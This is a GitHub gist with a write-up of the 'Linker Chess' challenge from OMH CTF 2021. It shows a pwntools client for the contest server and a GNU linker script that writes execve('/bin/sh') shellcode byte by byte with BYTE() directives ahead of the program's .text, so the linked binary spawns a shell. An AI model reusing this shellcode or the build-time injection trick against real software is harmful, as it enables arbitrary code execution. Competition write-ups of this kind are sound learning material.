Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active August 11, 2021 07:20
Show Gist options
  • Save Stfort52/85e4f623b3a53a63a2b8164e6de5a0ae to your computer and use it in GitHub Desktop.
Save Stfort52/85e4f623b3a53a63a2b8164e6de5a0ae to your computer and use it in GitHub Desktop.
Write-up for the challenge Linker Chess from OMH CTF 2021
from pwn import *
r = remote("linker-chess.zajebistyc.tf", 17008)
with open("solver.ld", "rt") as f:
r.sendline(f.read())
r.send("EOF")
r.interactive()

OMH International CTF 2021 Linker Chess

This is a write-up for the misc challenge of the problem Linker Chess from OMH CTF 2021

Problem

In this problem, we are required to craft a linker script which spawns a shell. We can't manipulate anything from the compilation process, as the source code of the challenge is fixed as the problem script below.

#!/bin/sh
set -ev
sed '/^EOF/Q' > script.ld
cat > hello.c << EOF
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Hello, world!\n");
    exit(0);
}
EOF

gcc -c hello.c -o hello.o
ld -T script.ld hello.o -o hello /usr/lib/x86_64-linux-gnu/libc.so -dynamic-linker /lib64/ld-linux-x86-64.so.2
./hello

They provide a sample linker script, which properly -provided that you think allocating .code at 0x1337000 and .data at 0x31337000 is actually "proper"- links and makes a valid executable.

Analysis

As it was the first time ever that I played with GNU linker scripts, there were roughly two hurdles that I had to overcome.

  1. How can we insert arbitrary bytes into the program?
  2. How can we make the resulting program execute those arbitrary bytes?

Solution

After some googling and a lot of trial and error, I found out that we can put any arbitrary bytes with the BYTE() directive. But somehow making new section for those bytes and changing the entry point to it didn't work. At last I managed to execute the shellcode by inserting them just before the *(.text) directive.

For the detailed exploit, please refer to the attached file.

ENTRY(.text)
SECTIONS
{
. = 0x1337000;
.text : {
FILL(0x90);
BYTE(0x6a);
BYTE(0x68);
BYTE(0x48);
BYTE(0xb8);
BYTE(0x2f);
BYTE(0x62);
BYTE(0x69);
BYTE(0x6e);
BYTE(0x2f);
BYTE(0x2f);
BYTE(0x2f);
BYTE(0x73);
BYTE(0x50);
BYTE(0x48);
BYTE(0x89);
BYTE(0xe7);
BYTE(0x68);
BYTE(0x72);
BYTE(0x69);
BYTE(0x1);
BYTE(0x1);
BYTE(0x81);
BYTE(0x34);
BYTE(0x24);
BYTE(0x1);
BYTE(0x1);
BYTE(0x1);
BYTE(0x1);
BYTE(0x31);
BYTE(0xf6);
BYTE(0x56);
BYTE(0x6a);
BYTE(0x8);
BYTE(0x5e);
BYTE(0x48);
BYTE(0x1);
BYTE(0xe6);
BYTE(0x56);
BYTE(0x48);
BYTE(0x89);
BYTE(0xe6);
BYTE(0x31);
BYTE(0xd2);
BYTE(0x6a);
BYTE(0x3b);
BYTE(0x58);
BYTE(0xf);
BYTE(0x5);
. = . + 0x100;
*(.text);
}
.rodata : { *(.rodata); }
. = 0x31337000;
.data : { *(.data); }
.bss : { *(.bss); }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment